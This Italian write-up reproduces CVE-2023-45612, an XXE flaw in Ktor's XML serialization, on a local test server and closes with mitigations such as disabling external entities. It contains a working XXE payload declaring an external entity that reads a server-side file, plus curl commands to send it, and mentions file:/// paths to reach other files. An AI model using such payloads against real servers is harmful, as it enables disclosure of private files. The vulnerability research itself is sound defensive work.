
Riproduzione di un problema di sicurezza di alta gravità che consente attacchi XXE (XML eXternal Entity) sulla serializzazione XML di Ktor.
CVE-2023-45612 è un problema di sicurezza ad alta gravità che consente attacchi XXE (XML eXternal Entity) sulla serializzazione XML di Ktor, che è stato corretto nel 2023.
Di seguito viene descritto in dettaglio come ho riprodotto il problema.
Per prima cosa, abbiamo bisogno di un server che elabori i file XML. Creiamo un progetto Kotlin da IntelliJ IDEA e modifichiamo il file build.gradle.kts per utilizzare le dipendenze Ktor necessarie e il plugin di serializzazione. io.ktor:ktor-serialization-kotlinx-xml è la dipendenza che ci interessa. La versione 2.3.4 è quella vulnerabile, mentre la versione 2.3.5 è quella corretta.
Successivamente, aggiungiamo alla radice del progetto un file chiamato sensitive_infos.txt destinato a essere privato e non accessibile dall'esterno del server. Il contenuto di questo file è "Queste informazioni dovrebbero essere segrete e non accessibili inviando un file .xmf.".
Quindi, implementiamo il server in Main.kt. È progettato per elaborare l'XML inviato dal client serializzandolo in una String (name) della classe Person. Il server risponde quindi confermando il nome appena inviato dal client. Dopo aver avviato il server, possiamo provare l'uso normale e quello malevolo:
Il client invia un file XML con il suo nome e riceve una conferma con il nome appena inviato. Possiamo testarlo con il seguente file XML:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
e il comando:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
Il client definisce un'entità fornendo una Stringa di sostituzione sotto forma di URI e invia il file XML malevolo, quindi riceve il contenuto di un file segreto accessibile dal server. Mostro di seguito un esempio con un file (sensitive_infos.txt) che si trova alla radice del server, ma nota che potresti anche raggiungere altri file (se il parser XML può accedere al loro contenuto) con ad esempio file:/// se il server è eseguito su Linux.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
e il comando:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
Il server risponde con "Name sent: This informations should be secret and not accessible by sending a .xmf file.", il che dimostra che abbiamo effettivamente avuto accesso alle informazioni segrete e quindi che esiste una vulnerabilità.
A proposito, cambiare la versione da 2.3.4 a 2.3.5 nel file build.gradle.kts risolve il problema e il server risponde solo "Name sent" per l'input malevolo, mantenendo una risposta normale per l'input normale, il che ci conferma che il problema di sicurezza è stato risolto nella versione 2.3.5.
Non fidarti mai dell'utente! Il parser di Ktor potrebbe sanificare gli input, ad esempio scartando tutti i file XML in input che contengono un'entità.
Meno restrittivo per l'utente, Ktor potrebbe disabilitare le entità esterne per impostazione predefinita impostando le funzionalità external-general-entities e external-parameter-entities su false, in modo che l'utente possa ancora dichiarare un'entità nel suo file XML, ma tale entità non possa più accedere a risorse esterne.
Includere test di attacco XXE nella CI/CD di Ktor per essere sicuri che il codice non sia vulnerabile a tali attacchi.